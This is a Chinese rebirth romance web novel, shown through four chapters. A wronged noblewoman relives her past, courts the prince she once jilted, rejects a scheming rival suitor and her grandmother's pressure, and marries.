《小满与君为谋》
1. 贵女重生
京城冬日的雪实属刺骨。
沈清欢身处宫殿门外,披一袭赤红鎏金凤袍,眼角含泪,跪于森冷的青石板砖上。
耳旁传来的是凉薄的唏嘘声,涂满艳红丹蔻的指尖,紧紧叩在砖面上,留下道道血痕。
醒目而刺眼。
时间缓缓流逝,沈清欢只觉心中悲凉。
想要上前质问那上位者,她究竟错在何处?
可心中苦涩,未语泪先流,半晌口中只道一句“傅恒,你不得好死!”
是溢满了恨的。
她声音已哭得哑然,哑得只身旁的公公可听清—
见这女子怨气如此之大,那公公生怕女子再说出什么大逆不道之话来,连忙疾步上前请奏。
“陛下,天寒地冻的,属实不宜在外久留,为保龙体安康,不如现就将那妖妃处决罢。”
“傅恒,你个弃子!若无我沈家,你又在哪个腌臜地苟延残喘!”
沈清欢再次出声,只见她双目怒睁,惨白着一张脸,一张纤细的腰身在泠泠寒风中打颤着—
“大胆!放箭!”
座上之人被彻底激怒,已然失去全部耐心。
沈清欢冷冷地笑着,却依旧挺直着腰板,双眸紧闭,罢了,就当她错付了。
“吁—”
传来一阵马蹄声,由远而近,似是在赶着什么,逐渐逼近。
“我看谁人敢动她!”
沈清欢抬眼,转身不敢置信地向后望去,是,傅之行?
是来救她的?
可不久前,她才一纸退婚书呈于其府上—
她仍记得少年王爷眼中的凉薄与恨意,如此怎会?
不容她过多思考,那身着玄铁鱼鳞甲,腰系明黄丝涤,末端悬着一枚鱼符的傅之行,下马直奔至她身旁。
为她套着一件雪白狐裘,小心翼翼地捧着她脸,哽咽道—
“小满,我来晚了。”
沈清欢本崩的碎裂的心,再受不住此等冲击,顿时控制不住心中悲怆,泪珠子一串串地接连落下。
视线迷蒙间,她只见场上刀剑相向,数不清的血迹映红了雪地。
不知过了多久。
她只记得,最后一箭向她射来之时,一个身影即刻挡在她面前。
那穿心之箭,将她二人牢牢锁住。
“是我没能护好你。”
傅之行口中鲜血直溢,眉目间全是自责与不甘,沈清欢摇摇头,极力想开口,却失去所有力气般,只字竟都道不出。
漫天飞雪道不尽心间痛。
不要!
冷汗已浸湿衣衫,“小姐您怎么了?”
侍女百合听到动响赶忙进屋查看—
沈清欢脑中一片杂乱,身旁是暖意融融的被,哪有什么漫天飞雪?
究竟是怎么回事!
百合见沈清欢脸色不对,递上一杯热茶让其压惊。
“小姐是遇到梦魇了?”
沈清欢眉头微蹙,不对!不对!
不是梦!梦怎么如此真实?
她快步走至窗前的梨花木梳妆镜前,仔细端详着镜中的脸。
那脸,肤若凝脂,眉眼间尚还残留着几分稚嫩,一双杏眼微微上挑—
是她尚未及笄之时的扮相。
百合误以为自家小姐是要梳妆打扮,赶忙放下手中热茶,转身为其挑选一藕粉色绸缎孺衣。
“小姐,您刚退完婚,老爷还在气中,嬷嬷让您暂且不要去请安为好,今日这天气,出去散散心倒也不错。”
“退婚?退婚!”
莫非?
她竟回到了与傅之行退婚之时!
荒唐至极!
沈清欢尚处在震惊之中,理了理思绪,压抑住心中震荡,随意拟了个由头,让百合出去了。
一人独在屋中,心中泛滥出数不尽的思绪。
莫非上苍也看不惯那人恶行,予她重新来过?
若当真如此,那倒是她之美事了。
幸得老天垂怜,给她一次重新来过的机会。
想起前世临终的画面,这一世,她要扶持傅之行上位!
要让那些个腌臜小人通通付出代价!
不过,为何竟回到,退婚后!偏偏是退婚后!
想起前世因退婚,自己与傅之行二人闹出许多个不愉快。
沈清欢自觉羞愧,自己竟也是个眼盲心瞎的,那时也分不清孰好孰坏了,罢了,事已至此,唯有一计!
沈清欢简易梳洗后,决定先去探探口风。
乘着马车来到傅家名下茶楼,已一轻薄面纱遮掩面庞,来到早已定好的包厢中,一小厮早已在屋中等候多时。
见来人,小厮恭敬地行礼,沈清欢摆摆手示意。
“小姐,您想要问些个什么?”
“听说前些日子,王爷与相府嫡女订婚?”
沈清欢抿了一口茶,缓缓开口。
小厮立马有些愤愤不平。
“是有此事,只是订婚前几日,那相府的嫡小姐不知因何缘故,突然递了一纸婚书呈与王爷,婚事早已作罢。”
“竟有此事?那王爷近日是何表现,岂有劳神伤心之态?”
“起初王爷回来之时,将自个儿关于房中两日不曾出来—
但近日,好像已恢复如旧。”
小厮口风很紧。
沈清欢见问不出个所以然,随后随意扯了个理由,留下十两银子,就从偏门出走了。
当她刚走出不远,身后一个身姿挺拔的身影也随之出来,那透露口风的小厮竟跪安在那人跟前,恭敬地道,“王爷。”
另一边的沈清欢,边走边回想着小厮的话,一时间有些拿不定主意。
想起退婚时的场景。
之前她一心想要嫁与傅恒,得知父亲将她许配给傅之行后,一度闹绝食反抗,可此计并无作用。
她一边假意乖顺,暗地里早已写好一封退婚书,乘去傅府议亲之时,呈给傅之行。
她还记得傅之行那日原本写满欢喜的眸子,一瞬间就变得冰冷彻骨,指节都微微发颤,好半天后才盯紧其双眸,眸子里尽是不甘与自我嘲弄。
沈相也大为震惊,两胡子都气得往两旁一冲,口中大骂着逆女。
可沈清欢那时早已被傅恒的甜言蜜语冲昏了头脑,竟当着众多人的面,只留下一句,“你我二人并非情投意合,望王爷另择佳人吧。”
真是愚蠢至极!
沈清欢越想越气,觉得自己简直是猪脑子。
放着京城第一美男不要,竟看上了个二无滥的傅恒,简直是不可理喻。
奈何事情已然发生,沉浸于过去并无任何作用。
也罢,知错能改善莫大焉,如今重来一回,尽力争取便好。
沈清欢一向是个敢想敢做的,不顾旁人的目光,拎着两壶上好的上南春便到了傅府门前—
在傅府门前,堆出一个自以为,完美无瑕的笑容,甜津津地向守卫开口道,“守卫大哥,我来寻王爷,劳烦您禀告一声,可好?”
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见来人是相府小姐后,守卫虽有些许心不甘情不愿,但也不敢忤逆,语气中却是有些夹酸,“沈小姐如今又来作罢?”
未等沈清欢开口,一道清朗的声音抢先开口,“是你?”
抬眼去看,来人正式傅府王爷—傅之行。
许是时常在军营中的缘故,傅之行身姿格外挺拔,精瘦的腰线被金丝缠带勾勒得极为好看,活脱脱一个勾人魂魄的主。
另加上一双桃花眼似笑非笑着,脸型流畅且俊朗,嘴角弧度微微上扬着。
沈清欢一时间看得失了神,片刻后,脸颊上不由得泛起了两朵红晕,眼眸垂低,手指不自觉地扭捏着。
尽量装作毫不在意的语气,“王爷,小女子回去后受家中长辈教导了番,此前行径实在不妥,家父已予责罚,我已知错,由此前来,登门致歉。”
“致歉?我早已不在意,若只是致歉,我已心领,沈小姐可回了。”
傅之行听到沈清欢这一番言论,心中黯然生出几分不爽快,原以为是其自己的意愿,听她这一番说辞,怕只是沈相的主意罢。
眼见傅之行脸色顿时由晴转阴,沈清欢不知自己那句言论,激怒了这小王爷。
想不到这个傅之行还是个气包子—
真是难哄。
看沈清欢耷拉个脑袋,也不说话,只有一双水灵的眼睛咕溜溜地转。
傅之行是又气又恼,隐忍了许久的情绪,似是要爆发。
“沈小姐若只是奉家父之命来寻个原谅,那便请回吧,再如何,我傅之行也不至与一小女子计较。李默,送客。”
说罢傅之行拂袖就转身向府内走去。
眸光却还有意见观察着沈清欢的动向。
当局者迷旁观者清。
李默也是无奈,敢情自家王爷也是个嘴硬的。
照着吩咐,李默正欲将沈清欢送出府,却见其突地疾步奔向傅之行。
双手张开,挡在傅之行面前,拦住其去路,一张小脸涨得通红,嘴巴微张像是酝酿着什么一般。
傅之行刚要绕道而走,耳边便传来一道清脆明亮的声音,“傅之行,我们成婚吧!”
?!
空气顿时如同被冻住了般。
傅之行似是不曾预料到她会如此言论,心中带着些许不可置信。
傅之行心中不免泛起阵阵波澜,转身与其对视,喃喃道,“你可知你所言为甚?”
既已开先河,沈清欢也无所顾忌。
自顾自地接着说着,“王爷,小女子之前退婚乃受奸人挑唆,并非我真实所愿,回去后,我细细想来,你我自幼相识,两小无猜,青梅竹马,若你我二人能成婚,定为京中美事一谈。”
沈清欢眉目间流露着淡淡的忧伤,似是真懊悔不已。
傅之行一时气极反笑。
好一个两小无猜。
好一个青梅竹马。
短短数日,变故众多,傅之行一时间,分辨不出其哪句为真,哪句为假。
他打量着沈清欢,像要从她举止中找出什么端倪般。
沈清欢不给他思考的机会,上前将带的两壶美酒赠予傅之行,眉眼弯弯地注视着。
“我自知王爷不信我,无妨,你我来日方长,王爷可日后再予我答复,明日我还会再来。”
傅之行一愣,嘴角翕翕,不知其打得什么主意。
不过,她兴许是对自己有些爱慕的吧。
瞧着沈清欢离去的背影,傅之行也有自己的打算。
2. 追夫之路漫漫修远兮
翌日清晨,阳光正好。
沈清欢着一身藕粉色罗纱裙—
在街上打了七八碗豆乳,又去巷子里捎了几个炉饼。
傅府的小厮刚轮完夜岗。
打着哈欠,与换班之人攀谈着。
交接中,还在迷糊间,怀里就被塞了个热腾腾的东西。
尚未反应过来,沈清欢就已大摇大摆地进去了。
常言道:百善孝为先。
沈清欢将吃食放于亭苑木桌上后,便先去东厢院唤傅之行的乳娘用膳。
随后去西厢院将各位掌事嬷嬷唤来。
长辈们皆已就坐,沈清欢又去寻尚未用早膳的丫鬟们一同来就食。
半响后,傅之行被院中嘈杂的吵闹声惊醒,脸色带有些许不悦。
近几日,为退婚一事,他早已是心力憔悴,昨个才好容易休息一番。
寻着嬉笑声,傅之行远远就瞧见,沈清欢坐于院中石桌上,一脸明媚,不知是讲了些什么笑话,竟将嬷嬷和小丫鬟们逗得乐得不行。
民以食为天。
傅之行刚坐下,沈清欢就连往他碗中夹了两个大炉饼,眼睛亮晶晶地瞧着他。
不忍辜负其好意,傅之行虽没胃口,还是夹起炉饼浅尝了两口。
味道却是出奇的好,表皮脆脆酥酥,内里是他钟爱的咸甜口,只一口,余香就在舌尖回味。
沈清欢将其举止都尽收眼底,心里暗暗高兴。
表面却装作不在意般。
“之前听闻王爷打小便爱吃炉饼,便顺手带来了。”
顺手?
傅之行瞧着沈清欢眼底的两个乌青黑眼圈,也难为她了。
能在京城最火爆的炉饼店,买下如此多的吃食,怕是一夜都没怎么睡罢。
傅之行心情突然好了许多,早上的起床气早已烟消云散,瞅着沈清欢,耳尖微微泛红。
喝着刚推到自己面前的豆乳,甜津津的,心里也舒爽许多。
面上还是带着些冷意疏离。
沈清欢一边喝着豆乳,一边悄咪咪地拿眼偷看。
见傅之行明明想笑,却总是极快地收起嘴角。
这个王爷倒也有趣。
心中暗喜,连带着嘴角也添了几分笑意。
早膳过后,傅之行在府中安排着下月的事宜,沈清欢无事可做,则在一边逗着府中的狸猫。
这狸猫性子孤僻,向来从不与生人嬉闹。
可今日沈清欢招呼时,倒是热络地摇着尾巴便贴上来了。
沈清欢是越看越喜欢,将其抱进怀中抚摸着。
不得不说,这傅府伙食应当是相当不错,养得这狸猫是着实有分量。
迎着阳光,沈清欢摸着狸猫油光闪亮的皮毛,一边瞧着远处的傅之行。
像是感应到什么般。
傅之行突然回头,二人四目相视。
沈清欢歪着脑袋瞧了许久。
突然“噗嗤”一声笑了。
傅之行摸不着头脑,交待完琐事后,就向沈清欢走去。
见来人,小狸猫跳出沈清欢的怀中,在傅之行的脚边亮着肚皮,打着圈圈。
“还是个认主的。”
沈清欢打趣道。
“你方才在笑什么?”
傅之行盯着娇俏的女子,故作轻松般发文。
沈清欢睫毛颤抖了一下。
原是来问这个,怪不得火急火燎的就结束了小会。
未曾言语,沈清欢直立起身子,往其方向迈了一大步。
在女子的身影靠来之前,傅之行先感受到的是淡淡的栀子花香—
沁人心脾,却又让人心中隐隐发烫。
沈清欢不知他的心里动态。
踮起脚尖,在傅之行的发冠上掸了掸,捏出一朵小绒毛。
距离实在太近。
近到,傅之行能清晰地看见女子脸上细小的绒毛。
近到,傅之行迎着阳光瞧见女子琥珀色瞳孔中自己的倒影。
近到,傅之行担心女子是否能听到自己心中的悸动。
而这一切,沈清欢浑然不知。
瞧了瞧小绒毛片刻后,沈清欢打趣着—
“应该是小狸猫的,这孩子毛发还挺旺盛。”
随后,拿至傅之行眼前示意。
“诺。”
傅之行神色微微动荡着。
沈清欢并未注意到其表情。
见其事务已然忙好,轻轻伸手拽了下他的衣袖。
“王爷忙好了罢,不如我们上街逛逛?”带有些撒娇的语气。
傅之行望着女子期盼的模样,还是不忍拒绝。
点头应允。
沈清欢是个喜怒形于色的。
见傅之行答应后,眼睛眯得弯弯的,像极了两个月牙。
真是个好满足的。
傅之行瞧着沈清欢乐呵的模样,心中倒也有几分甜蜜。
二人简单收拾了番,便出门了。
府中小厮瞧着自家王爷这幅宠溺劲儿,不由得感慨。
毕竟在这沈小姐之前,从未有其他闺阁女子进出过王府。
自己王爷的性儿,他们还是瞧得出来的。
这二人若真能重新订婚也确是一桩好事。
另一边。
二人并未乘坐马车,而是步行出街。
想着天气尚可,一同散散步聊聊小话,倒也别有一番乐趣。
二人行至一首饰摊。
沈清欢激动得上前细细挑选着,这些个银簪珠宝的。
不浮夸,不奢华,倒是格外清冷秀气。
傅之行在一旁时不时给予些意见。
沈清欢是相信傅之行的眼光的,一连拿出好几样簪子让他对比分析。
傅之行拿起细细琢磨了会。
“这只发钗不错,通体莹白色,小珍珠加以点缀,周以绿松石陪衬,很是衬你。”
“那就这支罢。”
沈清欢刚欲拿钱,傅之行早就将一银锭子置于桌上。
愣神中,傅之行极为自然地将发钗固定于其发中。
心中悄然生出淡淡暖意。
沈清欢一高兴,也想送傅之行些什么。
毕竟礼尚往来嘛。
追着问了半天,却没问出个所以然。
沈清欢有些气恼,赌气般的蹲在路口,耍赖不走了。
傅之行望着两颊略略鼓起的沈清欢,有些无奈。
倒是个有些小性子的。
思索了半响,傅之行随之蹲下,凑到其耳边说着些什么。
只见—
沈清欢眉目间顿时便舒展开来,贝齿微露,整个人沐浴在光下,亮晶晶的。
有了方向的沈清欢走路也带有些松弛。
二人在街上逛了许久。
吃喝玩乐可谓是样样都尝试了个遍。
期间,沈清欢总是时不时地与傅之行制造些肢体接触,暗下偷瞧其反应。
傅之行并无厌恶之情,倒是脸颊总泛着一股若有若无的潮红。
沈清欢还伸手去触碰其额头,“并未发烧啊。”
谁知此举让傅之行,脸上红意更甚。
噢—
沈清欢偷笑了下,心下了然。
临近傍晚时分,傅之行将沈清欢送至相府门前。
“明日见。”沈清欢与傅之行告别。
夜深。
回想着今日傅之行的种种表现,沈清欢有种莫名的直觉。
他似乎对自己有些情意。
倒不是沈清欢自恋,而是一种女子与生俱来的感觉。
想着明日的约会,沈清欢决定早早入睡。
以免神情疲态。
一连好几日。
如同上学堂定时般。
沈清欢总是按时来到傅府门前,手中的吃食一连好几日都不重样。
从傅之行爱吃的炉饼,到汤包,松果糕,米团子......
府里的嬷嬷都不由得感慨—
这相府沈小姐真是个有心人。
不光是在吃食上下功夫,沈清欢就如同傅之行的影子般。
他书写时,她为其研墨;他盘账时,她为其打算盘;他外出练兵时,她还会为其缝制战靴......
虽说她的绣工不够精细,但傅之行拿到战靴后,却是带有惊喜的。
府中的小厮们也对沈清欢有所改观,
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有些已将其默认为未来王妃。
当局者迷,旁观者清。
傅之行虽未明说,但众人早已瞧出端倪。
二人关系,已然更近一步。
沈清欢原以为经过近几日的努力,可淡淡消散其退婚之时的鲁莽之举。
谁知,端王却在此上门求娶。
傅之行照例送其归家之时,远远就瞧见相府里似乎围绕着许多人。
“相府今日有客?”傅之行随口问道。
“嗯?我不知晓啊?”
当二人来到门前时,傅之行顿时笑意全失。
只见端王的手下聚集在相府门前,朝里望去,屋中摆放的,皆是订婚所备物品。
一瞬间,傅之行心境仿佛从云端坠入泥潭般。
心如绞痛。
一把甩开被沈清欢拽住的手,眼角泛红,带有不甘与嘲弄。
“沈小姐,好本事。”
说罢便拂袖而去。
沈清欢着实也不知情,这一幕又是唱的哪出戏?
她望着无视呼喊的傅之行,心中叹了一口气。
罢了,现主要的是弄清现状。
沈清欢来到相国公的茶室,正巧迎面撞上端王傅恒。
傅恒上下打量着沈清欢,眼中尽是玩弄之态。
沈清欢并未与其对话,光是前世与此人的恩怨,就足以让她作呕,现又冒出影响她与傅之行的进展,她对其的厌恶只会更甚。
进入茶室,沈清欢一副苦大仇深的样子。
相国公见女儿这般,心中有些奇怪,不是她自个儿闹着要退婚吗?
如今端王上门求娶,怎得又好似不乐意了?
原是端王傅恒得到消息,知晓沈清欢与傅之行已然解除婚约,当下便准备好物品,上门求娶。
自作孽啊。
沈清欢关顾着攻略傅之行了,全然忘记了还留有傅恒这一祸害。
但此时她早已觉醒,怎会应允这门亲事?
沈清欢咬了咬,将自己先是极力贬低了一番,再者将傅恒贬低了一番。
随后极力地对傅之行进行了夸赞,最终得出一个结论说与相国公听—
她沈清欢从前是有眼无珠,而如今她非傅之行不嫁!
相国公眼中神色复杂,清咳了两声。
“同祖母道一声罢,你这般性子,我是无法管你了。”
祖母?
她巴不得将自个儿嫁给那傅恒呢,向她说道,不是狼入虎口?
沈清欢咬了咬唇,脸上浮现出不屑的神情,将相国公应付走后,当即便派人将端王府送至的礼金尽数退还。
要赶在其察觉前,将一切办妥,先斩后奏又如何?
回到房中,拿出早已雕好的平安牌。
回想着刚刚一幕,心中带些气恼,若不是端王闹这一出,这平安牌早已送出了。
想想还是不行,沈清欢有些不放心。
虽说这一场是个乌龙,但她已等不到明日再做解释。
趁着夜色朦胧,沈清欢着一身便装来至傅府。
却从守夜小厮口中得知—
傅之行并未回府!
沈清欢心中咯噔一下。
来不及过多思考,沈清欢将各处酒楼寻了个遍。
终于在一家的厢房里寻到了买醉的傅之行。
傅之行早已全无矜贵王爷的模样—
眼眶红肿如兔子,一张薄唇微启,尽是对自己的嘲弄。
沈清欢掩住心中酸涩,上前唤他。
傅之行并未搭理。
沈清欢将乌龙细细说来,再三发誓,自己对端王并无男女之情。
见她如此信誓旦旦,傅之行是相信的。
嘴确是硬的。
直至沈清欢拿出早已刻好的平安牌,置于其手心。
“那日,你悄声告知我,还未有人为你雕刻过腰牌,我便想,要不刻个平安牌赠你吧,希望你此后一生平安顺遂。”
话音未落,傅之行一把将其捞进怀中。
“小满,我信你。”
感受到脸庞划过的热泪。
沈清欢坚定且温柔地道—
“傅之行,你我成婚吧。”
3. 回绝婚约
细柳枝条上,还沾着几分晨间的露水。
沈清欢尚还在睡梦中,耳边就传来侍女百合的连声呼唤。
“小姐,不好了。老太太不知从哪处听闻,你驳了端王的聘礼,现眼下,正在大堂中,好一顿辱骂。”
沈清欢眼眸蓦地睁开,眼底一片清明。
这么迫不及待就来了?
“百合,替我更衣,祖母既如此看重这桩婚事,我倒要看看究竟意欲何为?”
远远地,二人刚赶至拐角处,就听见沈家祖母沈苏氏扯着尖利的嗓子,句句逼迫。
“平日里娇惯的紧呢,如今胆子竟这般大,那送上门的好亲事,说不要就不要,一声通传都未曾有!”
只见沈苏氏喘着粗气,唾沫星子乱飞,丝毫不顾及相府当家主母的身份,宛如一介粗鄙的悍妇。
沈苏氏并非出生煊赫家族,不过江南一个没落书香门第的庶女,当年嫁给沈竞知时,他不过是个穿洗得发白长衫的穷书生。
二人成婚,并无十里红妆,八抬大轿,一句,“此生定不负你。”轻飘飘的承诺,就让沈苏氏甘愿磋磨了四十年光阴。
粗茶淡饭,粮油不够时,她将自个出嫁的首饰,典当了换成粮油,含辛茹苦将儿子抚养成人。
沈竞知感念其用心之深,也确实做到了一生一世一双人的承诺,后哪怕其一举高中,从翰林院编修一路上升,官路顺遂,他也并无再娶之意。
受沈竞知影响,沈苏氏的儿子,也从小便聪颖过人,承袭了父亲的才学,也心疼母亲的不易,一路自立自强,一路考取功名,现官至相国公。
沈清欢打小便听无数人讲过,祖母有多不易,打小便被灌输要以祖母为尊的教导。
可前世,她不就是听从祖母的安排,将自个嫁入端王府,原以为是段金玉良缘,她怀揣着崇敬,可迎来的是什么?
婚书,也是祖母让退的,她听从了。
嫁入端王府,也是迎着祖母的喜好,她也听从了。
可她被下令处决时,又有何人为她说话?
她又何其无辜?
唯有被悔婚的傅之行对她伸以援手。
沈清欢敛了敛眼底的不甘,吸了口气,冠上了一副假笑的面容。
刚踏入正堂门槛,提起素色的儒裙,端正身姿,对着上首太师椅上的沈苏氏,鞠躬行了个标准的福礼。
她背脊挺直,垂下眼眸,动作不疾不缓,清清冷冷地开口。
“孙女清欢,特来给祖母请安。”
话音刚落,沈清欢直起身,抬眸间,撞进沈苏氏意味不明的眼神里,二人就这么僵持着,满室寂静,沈清欢不卑不亢地站在原地,衬得方才的问安,更加疏离。
“方才的话,你都听到了罢?”
沈苏氏眯着眼,上下打量着,她这个嫡长孙女,明明还是一副未出阁的女儿样,可眉间总带着副冷,黑漆漆的瞳仁,也是深不见底。
就像能窥见人心般。
沈清欢勾着唇,抬眼,正视着沈苏氏。
弯着唇,挑起眉,一字一句道。
“这婚,孙女不嫁。”
“孽障,我同你好言相说,是顾及你已逝母亲的面子,你一女儿家,理当听从家长长辈的安排,端王生母,现在宫中最为得宠,你可知?”
“坊间传遍了的,我自是知晓。”
沈苏氏压低嗓音,从榻上下来,幽幽地又道。
“我相府未有一男儿郎,入仕考取功名,我现已不痴妄,祖母只盼你姊妹能有好归宿,日后也能助相府倚个好靠山。”
“归宿是假,想攀上个靠山才是真罢。”
沈清欢不留余地直戳沈苏氏的心窝,眼光毒辣地揭开其暗下的打算。
“口出妄言!你母亲就是如此教导你的?”
沈苏氏被掀开遮羞布,心里臊得慌,当着众人的面,一时觉得脸上无光,气得满脸横肉乱飞,枯槁的手指头,打着颤,直指着这个不听话的孙女。
沈清欢懒得与其多费口舌,见围观的众人议论纷纷,倒是格外淡定地寻了个椅榻坐下,端着盏热茶,悠哉地看着戏。
“祖母息怒,姐姐......定是有苦衷的,她素来最敬重您,今日这般,许是一时糊涂,等姐姐细细想来,自是知晓她的心意,您莫要因此气坏了身子。”
沈薇薇是二房姨娘生的庶女,最会审时度势,眼见这沈清欢同老太太吵得紧,便迫不及待地跳出来,寻一波好感。
宽慰了沈苏氏后,沈薇薇转头,一副抽抽嗒嗒的姿态,小步走至沈清欢跟前,一副为她着想的语气。
“姐姐,你快同祖母认个错罢,祖母所言也在理,应允了这门婚事,一家人何苦闹成这般呢?”
沈清欢抿了口热茶,抬着眼,瞧了她这个好妹妹一番,果真还是一副做作的娇柔之态。
“你既觉得这门亲事好,便由你出嫁罢。”
沈薇薇愣住了,赶忙回头望着自家母亲。
二姨娘咬着牙,眼里的火光都要能将沈清欢灭了的姿态。
接收到沈薇薇求救的目光后,扬着眉,挑高了声音般。
“小满又在说笑了,哪有长女还未出嫁,便先将妹妹嫁未人妇的道理,况且这订好的喜事,自当时先紧着你的,不然,姐姐在九泉之下,怕是要怪我偏心率。”
众相府吃瓜的叔伯婶婶,被这二姨娘一番巧言给说服了,态度也由中立,转为有些偏向这老主母同二姨娘一伙。
“小满,你姨娘说的是有几分在理的,切莫说你已到出嫁的年龄,就这端王府的攀亲,是多少女子都渴望不来的?”
沈清欢被这群人,吵得有些头痛,一眼神默默地向二姨娘扫过去。
二姨娘心头一紧,这沈清欢,何往日里,不都是倚着老主母,同她的吗?
怎如今像变了个人般,冷漠,疏离,还带有一丝说不明的压迫感?
沈清欢深深吸了口气,瞧着这群虚与委蛇地人,想起前世也是这般,你一言,我一语地,将那傅恒描绘的天花乱坠。
将风流说做是大丈夫本性,要她多加体谅,将桀骜不驯,说做是傲骨。
真是好笑。
愚蠢一次就够了,沈清欢不想,也不愿,此生再同那傅恒同流合污。
“当朝长宁公主,也不过年十六,就已去与外藩和亲,宫中年长她的公主众多,姨娘方才口中所说哪有妹妹早在姐姐前头出嫁的,莫不是暗里嘲弄当今圣上的处事不公?”
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>此言一出,满目哗然。
无一人敢应答,这话落下的分量,不是他们些寻常人能担得起的。
二姨娘也未曾料想到,这沈清欢竟将家中琐事与公主牵扯一起,这样一来,她若承认,便是杀头之罪,若是不应,又落得个偏心之名。
好算计。
座上那沈苏氏,也被沈清欢这架势,给气得心痛病发作,一时间,躺在那椅上直呼,“哎哟,哎呦”。
这倒给了二姨娘,一台阶下,她边唤着侍女,边搀着沈苏氏就要往里屋中去,众人见此,也皆寻了个由头,纷纷散了。
临走前,沈清欢还故意朝着沈苏氏行了个道别礼,随后就拂袖离去。
闹这么一出,府里一下子便压抑下来。
相国公刚归家,就被二姨娘含愤带泪地扯去了,沈苏氏的屋中。
百合得了消息,连忙向沈清欢诉着。
“这二姨娘,真不是个省油的灯,拉着老爷,定是去说您的小话了。”
沈清欢倒是无所谓的姿态,她在理,何怕那些闲言碎语?
相国公虽说愚孝,但心里也是明镜般的,前世姨娘同祖母先后向她灌输“嫁给端王是她最好的选择”时。
相国公虽未相劝,可到底是给足了她出嫁的底气的,光是嫁妆就足抵得上,她那两位庶妹的统共了,现在想来,怕也是担忧她在端王府过的不好罢。
作为爹爹这个身份,相国公好与坏都不彻底......
沈清欢回想起封后当日,相国公得了应允,来宫中看望她,同她说了许多体几话,甚至还拿出了多年私藏的金鱼给她。
可被下令处决时,沈清欢满眼盼望着她的好爹爹能来救她,可他呢?他却一改慈父的作态——
任由她自生自灭,直至咽下最后一口气时,趁着四下无人,他才蹒跚着步子走来,满脸老泪纵横,口中道着“为了相府,爹爹身不由己,身不由己......”
罢了,说到底,自己还是权衡利弊的舍弃物。
如自个的料想般,相国公从沈苏氏屋中出来后,就直奔着她的院中来。
百合先行瞧见他,慌张地跑到沈清欢跟前。
“小姐,老爷来了。”
沈清欢正描绘着兰草画,闻言,手一顿。
片刻后,就搁下笔起身。
“父亲。”
沈相摆摆手,目光扫过案上的画,沉声道。
“不必多礼,听闻你今日因婚嫁之事,惹得祖母不悦,可有此事?”
语气里带着不易察觉的审视。
沈清欢并未回话。
伸手将刚才所作的兰花草举起,透着日光,仰视着。
“母亲生来最爱兰花草......”
“提这些作甚?”
沈相眉目间带了些不耐。
“父亲!母亲嫁与你时,你许诺此生不会再娶,可不过成婚三年,仅因膝下无男丁,你就纳了姨娘入府,如今换做我了,那端王是何等风流之人,祖母竟要将我嫁去,姨娘心疼薇薇,可有人替我想过,难不成就是欺辱我无娘亲吗?”
沈相哀哀叹了一声,望着自家女儿,总觉得有哪处不一样了。
到底还是将亲事回绝了。
4. 新婚礼成
尘埃落定后,傅恒曾来相府寻过沈清欢。
可那府中嬷嬷一句,“小姐突感风寒”,就将他打发走了,连带着告知其与傅之行的婚约。
傅恒,当今圣上最得宠的四皇子,一身赤色长袍,眉目间温润如玉,虽说不敌傅之行,可到底也是个有姿色的郎君。
他不懂,为何这沈清欢,短短数日,便恍若两人。
那沈家主母,分明说她是最识大体,最懂礼数的。
如今,他被爽了婚约,前来求娶,吃了个闭门羹不说,还被夺了妻?
“你沈家今日不给我个说法……”
“你要何说法啊。”
清冽的嗓音回荡在身后。
傅恒眼眸一亮,怀揣着欣喜,上前就欲拉拢沈清欢的衣袖。
“端王,请你自重。”
沈清欢,面带一薄纱,遮掩住面庞,见其步步紧逼,直接一步后退至相府门槛后。
“小满,你应下了的,主母跟你商讨婚约时,你是同意的,如今怎又要去同那傅之行一起?”
“今时不同往日,主母说笑的话岂能当真,端王不知女人的话不可信吗?”
沈清欢眉间微皱,她瞧着傅恒一副故作深情的姿态,就心中犯呕,家中小妾就有三位,搁这装什么恨海晴天呢?
不留给傅恒辩驳的机会,沈清欢一个转身,就打道回府。
不顾傅恒机几欲上前挽留,她是断不会重蹈覆辙了。
虽说傅恒当今正受宠,可只有她知道,此人背后有多少阴招,有多少不堪。
前世她与他尚有情谊,自是不会将其端上台面。
可今生,谁输谁赢,还尚未知分晓。
……
沈清欢无暇顾及琐碎人的杂事妄想,当今最重要的是同傅之行成婚。
找人算过日期后,婚礼便提上日程。
傅之行是人逢喜事精神爽,沈清欢送的腰牌,也被其别在腰间,日日带着。
有时逢人就装作不经意的显摆一番,珍视得很。
日子一天天过去。
沈清欢正忙着选定婚服,选定宴席菜品,手中的宴请名单也有一大堆,可谓是忙得不可开交。
傅之行相对来说,就较为清闲许多。
其实,原本操持之人乃傅之行,可沈清欢见他事事都严谨得一丝不苟,婚服精挑细选倒也合情合理,可就连宴席菜品配菜的摆盘,选材都恨不得亲自着一挑选。
于是乎,看不惯其作派的沈大小姐,便将其“革职”了,决定亲自上阵。
被赋予闲职的傅之行,只得洗手作羹汤,在沈清欢百忙之中,为其暖胃,按摩。
沈清欢在傅府每日都吃得不亦乐乎,喜滋滋地调侃傅之行为“小煮夫”。
小日子也是过得津津有味。
百合替自家小姐操持着些许杂碎琐事。
看着二人甜蜜模样,她也是打心底里高兴,经过之前那一顿折腾,如今这婚事也终于是要尘埃落定了。
成婚前几日,依据当朝习俗,男女双方是不可见面的。
二人便各自在家,心怀期盼地等待着。
迎亲之日很快便如期而至。
傅之行一早就身着婚服,领着迎亲队伍向相府而去—
只见,其以八面龙凤旗,四对铜锣鸣响开路,随后跟随着举“肃静”,“回避”之牌的侍卫。
傅之行身着蟒袍玉带,腰佩宝剑,身后跟着十六位贴身侍卫,后跟着八抬大轿。
只见那轿身绘制龙凤呈祥,四周挂着彩绸。
聘礼之多,金银珠宝,绫罗绸缎等应有尽有。
另有京城名乐士,为其演奏喜乐。
场面宏伟壮丽,引得众人连连称赞道喜。
城中人人都惊羡于其阵仗之大,用心之深。
可见其用心之深,情谊之深。
沈清欢也早已着圆领女蟒服,配大红色褶裙。
头戴凤冠,肩披霞帔,在相府等候着。
二姨娘借故娘家有急事,早在婚礼前一周就携着沈薇薇同沈蔷回去了。
讨一个眼不见心不烦。
那沈苏氏再怎样不满此庄婚约,到底是不能拂了靖王府的面子,一身珠翠点头,喜色长袍配着,一副喜庆的面孔在相府门口迎着。
待傅之行抵达相府府邸时,双方礼官长喏行礼后,沈清欢便被迎入花轿。
花轿很快便抵达王府大门,由专人掀开轿帘后,沈清欢脚踩红毯,依次跨过火盆,马鞍,随后三拜,沈清欢与傅之行二人共握同心结,随后沈清欢便由侍女引入洞房。
宴请的宾客们正在正厅接受款待。
屋中唯沈清欢一人。
沈清欢深吸一口气,心中是又欢喜,又紧张。
